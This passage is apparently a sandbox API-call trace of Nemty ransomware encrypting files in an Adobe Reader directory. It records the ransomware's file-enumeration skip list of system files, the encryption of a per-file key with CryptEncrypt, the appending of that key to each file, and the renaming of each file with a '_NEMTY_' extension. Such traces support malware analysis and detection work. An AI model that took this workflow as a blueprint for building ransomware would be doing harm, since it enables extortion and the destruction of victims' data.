[0193.381] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\br.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\br.gif._nemty_kgobjgd_")) returned 1 [0193.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0193.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0193.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.382] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="create_form.gif", cAlternateFileName="CREATE~1.GIF")) returned 1 [0193.382] lstrcmpiW (lpString1="create_form.gif", lpString2=".") returned 1 [0193.382] lstrcmpiW (lpString1="create_form.gif", lpString2="..") returned 1 [0193.382] lstrcmpiW (lpString1="create_form.gif", lpString2="...") returned 1 [0193.382] lstrcmpiW (lpString1="create_form.gif", lpString2="windows") returned -1 [0193.382] lstrcmpiW (lpString1="create_form.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.382] lstrcmpiW (lpString1="create_form.gif", lpString2="rsa") returned -1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="NTDETECT.COM") returned -1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="ntldr") returned -1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="MSDOS.SYS") returned -1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="IO.SYS") returned -1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="boot.ini") returned 1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="boot.ini") returned 1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="ntuser.dat") returned -1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="desktop.ini") returned -1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="CONFIG.SYS") returned 1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="RECYCLER") returned -1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="bootmgr") returned 1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="programdata") returned -1 [0193.383] lstrcmpiW (lpString1="create_form.gif", lpString2="appdata") returned 1 [0193.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="create_form.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="create_form.gif", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="create_form.gif", lpUsedDefaultChar=0x0) returned 15 [0193.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="create_form.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="create_form.gif", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="create_form.gif", lpUsedDefaultChar=0x0) returned 15 [0193.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="create_form.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="create_form.gif", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="create_form.gif", lpUsedDefaultChar=0x0) returned 15 [0193.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="create_form.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="create_form.gif", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="create_form.gif", lpUsedDefaultChar=0x0) returned 15 [0193.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.384] Sleep (dwMilliseconds=0x5) [0193.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26eaba90, dwHighDateTime=0x1d561e8)) [0193.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26eaba90, dwHighDateTime=0x1d561e8)) [0193.391] GetLastError () returned 0x0 [0193.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.391] GetLastError () returned 0x0 [0193.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.391] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.391] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.391] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.392] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="apCZDmverBwRvHjeA5AHW6K0r7buIQMVWipRMQFCJCQEMnfXRF3vuPSFrg7fmPRV\r\n31hKAnt1rH+vJvvAZzISCCP/WqlNGfrIGsX0RVY7KIe0NSefoBD+sDpLJ0PFjXb/\r\nXd7kKkiK2oOCq9q7w3RA9HeQA7NvJ1XR6iaiJwEUVILHgTpBbun7iq0ubVokCNuK\r\nJW3C0puaoCSZ8sZai0w45ErYYVD7Mj0W7ATTJd2c1r/YOij65sNoACmZUtdx0WM7\r\nNGJjVaJo1RH/bdloJfzeci5LH/htQvcXZs9C5WZ/put6h0NkGE25sAqKTR1O8Njk\r\np7OiGMowOrLpy/vRoNLiWw==\r\n", pcchString=0x653e91c) returned 1 [0193.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\create_form.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.392] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1194) returned 1 [0193.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a0) returned 0x6340048 [0193.392] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.392] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x4a0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x4a0, lpOverlapped=0x0) returned 1 [0193.404] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.404] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x4a0, lpOverlapped=0x0) returned 1 [0193.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.404] SetFilePointer (in: hFile=0x254, lDistanceToMove=1194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4aa [0193.404] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.404] CloseHandle (hObject=0x254) returned 1 [0193.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0193.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.405] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\create_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\create_form.gif._nemty_kgobjgd_")) returned 1 [0193.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.406] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="distribute_form.gif", cAlternateFileName="DISTRI~1.GIF")) returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2=".") returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="..") returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="...") returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="windows") returned -1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="rsa") returned -1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="NTDETECT.COM") returned -1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="ntldr") returned -1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="MSDOS.SYS") returned -1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="IO.SYS") returned -1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="boot.ini") returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="boot.ini") returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="ntuser.dat") returned -1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="desktop.ini") returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="CONFIG.SYS") returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="RECYCLER") returned -1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="bootmgr") returned 1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="programdata") returned -1 [0193.406] lstrcmpiW (lpString1="distribute_form.gif", lpString2="appdata") returned 1 [0193.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="distribute_form.gif", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="distribute_form.gif", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="distribute_form.gif", lpUsedDefaultChar=0x0) returned 19 [0193.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="distribute_form.gif", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="distribute_form.gif", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="distribute_form.gif", lpUsedDefaultChar=0x0) returned 19 [0193.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="distribute_form.gif", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="distribute_form.gif", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="distribute_form.gif", lpUsedDefaultChar=0x0) returned 19 [0193.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="distribute_form.gif", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="distribute_form.gif", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="distribute_form.gif", lpUsedDefaultChar=0x0) returned 19 [0193.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.407] Sleep (dwMilliseconds=0x5) [0193.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26ef7d50, dwHighDateTime=0x1d561e8)) [0193.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26ef7d50, dwHighDateTime=0x1d561e8)) [0193.422] GetLastError () returned 0x0 [0193.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.422] GetLastError () returned 0x0 [0193.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.423] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.423] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.423] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.423] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="uV7VtkCv9Yed8nnjfFyM4Q9hEURm4nyb8N7OJakfcuYXVmApNa4N88GDoBda+OBc\r\ngAPpmH5Iqaqg3NcBsc04j9V+nXZJoPcIprx3x0rQBXKPrEQ/GowPjiemvS03Rkoc\r\nUocvBio0x/eJoWN4O0hu+s4+q8pS9qZznUqKd68wjCJdifeh21EEQa1BrjETKx3L\r\nF44iR6ZOaItGyimDTjlrR8shlO3nE3KdLFBRiqnpZGN5IDNwayKlTuglYzQJFb91\r\nPdRzVmPBHGCKPrF00rHziZqA17LK5ZVrbGAG+MWi33kEe8FY4UT9H6LUwPLEw24T\r\n9saNiCmAaj7WbygUNVVzZw==\r\n", pcchString=0x653e91c) returned 1 [0193.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\distribute_form.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.424] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=821) returned 1 [0193.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x330) returned 0x6340048 [0193.424] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.424] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x330, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x330, lpOverlapped=0x0) returned 1 [0193.426] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.426] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x330, lpOverlapped=0x0) returned 1 [0193.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.426] SetFilePointer (in: hFile=0x254, lDistanceToMove=821, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x335 [0193.426] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.426] CloseHandle (hObject=0x254) returned 1 [0193.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.426] 